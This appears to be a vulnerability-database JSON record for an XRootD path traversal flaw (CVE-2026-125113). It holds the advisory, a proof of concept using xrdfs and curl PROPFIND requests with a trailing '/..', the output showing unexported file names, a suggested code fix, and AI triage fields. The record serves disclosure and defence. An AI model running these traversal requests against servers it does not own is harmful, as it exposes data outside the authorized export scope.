{"id":"CVE-2026-125113","kind":"vulnerability","aliases":["CVE-2026-125113","GHSA-vj8v-p5vw-m6v5"],"related":[],"title":"xrootd has path traversal in directory listing that allows access to the parent directory via trailing \"..\" pattern","description":"## Summary\n\nA path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.\n\nThis bypass ignores the `all.export` restriction.\n\n## Affected component\n\n`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with \"..\" (without trailing slash).\nThen the path is passed directly to the filesystem layer.\n\n## PoC\n\n### Configuration\n\n- **Configuration file:** \n```conf\nxrd.port 1094\n\n# Exposing only /alice/\noss.localroot /srv/xrootd/data/\nall.export /alice/\n\n# HTTP\nxrd.protocol http:1094 libXrdHttp.so\n\n# Logs / monitoring\nall.adminpath /var/spool/xrootd\nall.pidpath /var/run/xrootd\n```\n\n- **Filesystem layout on the server:**\n```\n/srv/xrootd/data/\n├── alice/       ← only exported directory\n├── bob/         ← not exported\n└── secret.txt   ← not exported\n```\n\n- **Starting the server:**  `xrootd -c /etc/xrootd/xrootd.cfg` \n\n### Steps to reproduce\n\n**Normal behavior (access outside export is denied):**\n```bash\n$ xrdfs root://<xrootd-server> ls /\n[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.\n```\n\n**Bypass via trailing `..`:**\n```bash\n$ xrdfs root://<xrootd-server>ls /alice/..\n/alice/../alice\n/alice/../bob\n/alice/../secret.txt\n```\n \n**Also exploitable via HTTP PROPFIND:**\n\n```bash\ncurl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \\\n  --path-as-is \\\n  -H \"Depth: 1\"\n```\nReturns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).\n\n**However, file download via this path traversal is blocked:**\n```bash\n$ xrdcp root://<xrootd-server>/alice/../secret.txt .\n[0B/0B][100%][==================================================][0B/s]  \nRun: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)\n```\n\n## Impact\nAn attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).\n\nFile download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).\n\nThis vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.\n\n## Suggested fix\n\nIn `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:\n```cpp\n// Before\nif (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;\n\n// After\nif (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\\0')) return 1;\n```","summary":"XRootD lets a remote user list the parent directory of an exported path by appending '/..' to the path in xrdfs ls or HTTP PROPFIND requests. The listing reveals names of unexported files and directories, but the sources say file download through this path is blocked.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"xrootd","fixed":["5.9.2"],"affected":"< 5.9.2","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-20","cwe-22","http","package","python","self-hosted","xrootd"],"not_affected_if":["no-xrootd-server"],"how_to_check":"- Check the installed version with `python -c \"import xrootd; print(xrootd.__version__)\"` or `pip show xrootd`\n- Look for `all.export` in the xrootd configuration file to see which paths are exported\n- Test whether a PROPFIND to an exported path followed by `/..` returns a listing, using a server you own","fix":"- `xrootd` (PyPI): move to `5.9.2` or later","status":"open","published_at":"2026-04-10T19:50:39+00:00","first_seen_at":"2026-11-09T22:15:29+00:00","triaged_at":"2026-11-09T22:16:26+00:00","updated_at":"2026-11-09T22:16:26+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-09T22:16:26Z","model":"claude-haiku-5-5","output":{"fix":"- `xrootd` (PyPI): move to `5.9.2` or later","reach":"internet","title":"xrootd: directory listing via trailing '..' exposes parent directory names","impact":"low","summary":"XRootD lets a remote user list the parent directory of an exported path by appending '/..' to the path in xrdfs ls or HTTP PROPFIND requests. The listing reveals names of unexported files and directories, but the sources say file download through this path is blocked.","audience":"developers","category":"package","nicknames":[],"who_cares":["xrootd","python","self-hosted","http"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Remote attacker lists parent directory names outside the export scope.","analyst_note":"","how_to_check":"- Check the installed version with `python -c \"import xrootd; print(xrootd.__version__)\"` or `pip show xrootd`\n- Look for `all.export` in the xrootd configuration file to see which paths are exported\n- Test whether a PROPFIND to an exported path followed by `/..` returns a listing, using a server you own","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["no-xrootd-server"],"who_is_affected":"Deployments of the XRootD server with an exported path restricted by all.export are exposed to directory and filename enumeration over xrdfs or HTTP. The sources say the flaw applies regardless of authentication configuration. Python packages that only use the client side of xrootd are not described as affected.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000874,"input_tokens":5871,"output_tokens":573,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-125113':20A,28A '-20':31B '-2026':19A,27A '-22':33B '/alice':183C,187C,341C '/alice/..':251C '/alice/../alice':252C '/alice/../bob':253C '/alice/../secret.txt':254C,298C '/bob':346C '/etc/xrootd/xrootd.cfg':220C '/srv/xrootd/data':185C,204C '/var/run/xrootd':198C '/var/spool/xrootd':196C '/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/xrdxrootd/xrdxrootdxeq.cc#l696)),':150C '0':413C,423C,430C '0b/0b':299C '0b/s':301C '1':271C,415C,419C,425C,432C '100':300C '1094':180C,191C '1094/alice':264C '2':417C,427C,429C '200':274C '3010':240C,309C,371C 'access':10A,226C 'affect':132C,387C 'alic':205C 'alice/../secret.txt':313C 'all.adminpath':195C 'all.export':130C,186C,332C 'all.pidpath':197C 'allow':9A,93C 'also':255C 'append':55B,110C 'attack':319C 'authent':393C 'author':327C 'bash':231C,248C,260C,296C 'behavior':225C 'block':85B,295C 'bob':209C,285C 'bypass':127C,245C,397C 'c':219C 'chang':408C 'check':155C 'compon':133C 'conf':178C 'configur':175C,176C,394C 'content':104C 'correct':365C 'could':386C 'cpp':409C 'curl':261C 'cve':18A,26A 'cwe':30B,32B 'defin':330C 'deni':230C 'deploy':390C 'depth':270C 'direct':169C 'directori':6A,14A,49B,74B,99C,108C,208C,281C,322C,353C,380C 'dirlist':146C 'disallow':244C,315C 'disclosur':379C 'download':80B,289C,356C 'end':159C 'entri':284C 'enumer':102C,321C,383C 'error':234C,239C,303C,308C,370C 'escap':96C 'exampl':335C 'exist':344C 'exploit':256C 'export':52B,98C,117C,207C,211C,214C,228C,328C,339C,399C 'expos':181C 'file':72B,79B,177C,288C,355C 'filenam':324C,382C 'filesystem':172C,199C 'fix':404C 'fn':412C,414C,416C,422C,424C,426C,428C 'full':276C 'function':139C 'ghsa':22A 'ghsa-vj8v-p5vw-m6v5':21A 'github.com':149C 'github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/xrdxrootd/xrdxrootdxeq.cc#l696)),':148C 'h':269C 'host':39B 'howev':287C 'http':34B,63B,123C,188C,190C,258C,273C 'ignor':128C 'impact':317C,373C 'includ':282C 'inform':378C 'layer':173C 'layout':200C 'leak':342C 'let':42B 'libxrdhttp.so':192C 'limit':376C 'link':147C 'list':7A,46B,67B,277C 'locat':349C 'log':193C 'ls':61B,121C,233C,250C 'm6v5':25A 'monitor':194C 'name':69B 'normal':224C 'open':310C 'oss.localroot':184C,354C 'outsid':227C,325C 'p5vw':24A 'packag':35B 'parent':13A,48B,107C,280C,352C 'pass':168C 'path':3A,53B,58B,83B,88C,118C,158C,166C,242C,266C,292C,312C,368C,400C 'path-as-i':265C 'pattern':17A 'poc':174C 'possibl':359C 'precis':137C 'propfind':64B,124C,259C,263C 'python':36B 'regardless':391C 'reject':366C 'relat':311C 'remot':44B 'reproduc':223C 'request':65B,125C 'respond':236C,305C 'restrict':131C,401C 'return':272C,418C,431C 'reveal':68B 'rpcheck':140C,406C 'run':302C 'say':78B 'scope':100C,329C 'secret.txt':212C,286C,348C 'seem':374C 'self':38B 'self-host':37B 'server':203C,217C,235C,304C,338C 'slash':114C,163C 'sourc':77B,316C 'specif':111C 'squash':142C 'src/xrdxrootd/xrdxrootdxeq.cc':134C,407C 'start':215C 'state':241C 'step':221C 'suggest':403C 'summari':86C 'therefor':375C 'trail':16A,113C,162C,247C 'travers':4A,89C,293C 'unexport':71B,283C 'use':143C 'user':45B,94C 'vector':362C 'via':15A,246C,257C,290C 'vj8v':23A 'vulner':90C,385C 'without':112C,161C 'x':262C 'xrd.port':179C 'xrd.protocol':189C 'xrdcp':297C,364C 'xrdfs':60B,120C,232C,249C 'xrootd':1A,29A,40B,41B,92C,218C,389C","nicknames":[],"mitigations":[],"who_affected":"Deployments of the XRootD server with an exported path restricted by all.export are exposed to directory and filename enumeration over xrdfs or HTTP. The sources say the flaw applies regardless of authentication configuration. Python packages that only use the client side of xrootd are not described as affected.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["xrootd"],"ptokens":["xrootd"],"labels":["cwe20","cwe22","http","medium","package","pypi","python","selfhosted","xrootd"],"campaign_type":null,"search_a":"'-125113':20A,28A '-2026':19A,27A 'access':10A 'allow':9A 'cve':18A,26A 'directori':6A,14A 'ghsa':22A 'ghsa-vj8v-p5vw-m6v5':21A 'list':7A 'm6v5':25A 'p5vw':24A 'parent':13A 'path':3A 'pattern':17A 'trail':16A 'travers':4A 'via':15A 'vj8v':23A 'xrootd':1A,29A","search_b":"'-20':31B '-22':33B 'append':55B 'block':85B 'cwe':30B,32B 'directori':49B,74B 'download':80B 'export':52B 'file':72B,79B 'host':39B 'http':34B,63B 'let':42B 'list':46B,67B 'ls':61B 'name':69B 'packag':35B 'parent':48B 'path':53B,58B,83B 'propfind':64B 'python':36B 'remot':44B 'request':65B 'reveal':68B 'say':78B 'self':38B 'self-host':37B 'sourc':77B 'unexport':71B 'user':45B 'xrdfs':60B 'xrootd':40B,41B","search_c":"'/alice':183C,187C,341C '/alice/..':251C '/alice/../alice':252C '/alice/../bob':253C '/alice/../secret.txt':254C,298C '/bob':346C '/etc/xrootd/xrootd.cfg':220C '/srv/xrootd/data':185C,204C '/var/run/xrootd':198C '/var/spool/xrootd':196C '/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/xrdxrootd/xrdxrootdxeq.cc#l696)),':150C '0':413C,423C,430C '0b/0b':299C '0b/s':301C '1':271C,415C,419C,425C,432C '100':300C '1094':180C,191C '1094/alice':264C '2':417C,427C,429C '200':274C '3010':240C,309C,371C 'access':226C 'affect':132C,387C 'alic':205C 'alice/../secret.txt':313C 'all.adminpath':195C 'all.export':130C,186C,332C 'all.pidpath':197C 'allow':93C 'also':255C 'append':110C 'attack':319C 'authent':393C 'author':327C 'bash':231C,248C,260C,296C 'behavior':225C 'block':295C 'bob':209C,285C 'bypass':127C,245C,397C 'c':219C 'chang':408C 'check':155C 'compon':133C 'conf':178C 'configur':175C,176C,394C 'content':104C 'correct':365C 'could':386C 'cpp':409C 'curl':261C 'defin':330C 'deni':230C 'deploy':390C 'depth':270C 'direct':169C 'directori':99C,108C,208C,281C,322C,353C,380C 'dirlist':146C 'disallow':244C,315C 'disclosur':379C 'download':289C,356C 'end':159C 'entri':284C 'enumer':102C,321C,383C 'error':234C,239C,303C,308C,370C 'escap':96C 'exampl':335C 'exist':344C 'exploit':256C 'export':98C,117C,207C,211C,214C,228C,328C,339C,399C 'expos':181C 'file':177C,288C,355C 'filenam':324C,382C 'filesystem':172C,199C 'fix':404C 'fn':412C,414C,416C,422C,424C,426C,428C 'full':276C 'function':139C 'github.com':149C 'github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/xrdxrootd/xrdxrootdxeq.cc#l696)),':148C 'h':269C 'howev':287C 'http':123C,188C,190C,258C,273C 'ignor':128C 'impact':317C,373C 'includ':282C 'inform':378C 'layer':173C 'layout':200C 'leak':342C 'libxrdhttp.so':192C 'limit':376C 'link':147C 'list':277C 'locat':349C 'log':193C 'ls':121C,233C,250C 'monitor':194C 'normal':224C 'open':310C 'oss.localroot':184C,354C 'outsid':227C,325C 'parent':107C,280C,352C 'pass':168C 'path':88C,118C,158C,166C,242C,266C,292C,312C,368C,400C 'path-as-i':265C 'poc':174C 'possibl':359C 'precis':137C 'propfind':124C,259C,263C 'regardless':391C 'reject':366C 'relat':311C 'reproduc':223C 'request':125C 'respond':236C,305C 'restrict':131C,401C 'return':272C,418C,431C 'rpcheck':140C,406C 'run':302C 'scope':100C,329C 'secret.txt':212C,286C,348C 'seem':374C 'server':203C,217C,235C,304C,338C 'slash':114C,163C 'sourc':316C 'specif':111C 'squash':142C 'src/xrdxrootd/xrdxrootdxeq.cc':134C,407C 'start':215C 'state':241C 'step':221C 'suggest':403C 'summari':86C 'therefor':375C 'trail':113C,162C,247C 'travers':89C,293C 'unexport':283C 'use':143C 'user':94C 'vector':362C 'via':246C,257C,290C 'vulner':90C,385C 'without':112C,161C 'x':262C 'xrd.port':179C 'xrd.protocol':189C 'xrdcp':297C,364C 'xrdfs':120C,232C,249C 'xrootd':92C,218C,389C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-04-10T19:50:39+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-vj8v-p5vw-m6v5","url":"https://github.com/advisories/GHSA-vj8v-p5vw-m6v5","severity":"medium","published_at":"2026-04-10T19:50:39+00:00","modified_at":"2026-11-09T22:12:54+00:00","first_seen_at":"2026-11-09T22:15:29+00:00","fetched_at":"2026-11-09T22:20:36+00:00","note":null}],"documents":[{"id":110232,"url":"https://api.github.com/repos/xrootd/xrootd/security-advisories/GHSA-vj8v-p5vw-m6v5","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":110233,"url":"https://github.com/xrootd/xrootd/security/advisories/GHSA-vj8v-p5vw-m6v5","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":110234,"url":"https://github.com/xrootd/xrootd/commit/45efac7267a115ca4f2102214498e8cb011eb69b","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}